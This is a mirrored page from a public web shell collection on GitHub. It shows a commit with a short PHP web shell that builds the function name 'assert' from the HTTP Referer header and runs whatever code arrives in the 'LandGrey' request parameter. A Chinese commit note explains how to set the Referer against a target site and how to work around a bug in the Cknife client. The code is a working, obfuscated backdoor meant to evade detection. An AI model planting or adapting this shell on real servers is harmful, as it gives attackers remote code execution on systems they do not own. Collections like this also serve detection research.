mirror of
https://github.com/tennc/webshell
synced 2024-11-24 20:23:04 +00:00
719eb9131d
请求时,设置Referer头,后面以”ass****”结尾即可,比如:Referer: http://www.target.com/ass.php。 在使用Cknife时,注意软件实现有缺陷,会从第二个”:”处截断,可改成Referer: http%3a//www.target.com/ass.php from : http://alin.run/2020/08/04/php-webshell-bypass/
9 lines
193 B
PHP
9 lines
193 B
PHP
<?php
|
|
/**
|
|
* Noticed: (PHP 5 >= 5.3.0, PHP 7)
|
|
*
|
|
*/
|
|
$password = "LandGrey";
|
|
$wx = substr($_SERVER["HTTP_REFERER"],-7,-4);
|
|
forward_static_call_array($wx."ert", array($_REQUEST[$password]));
|
|
?>
|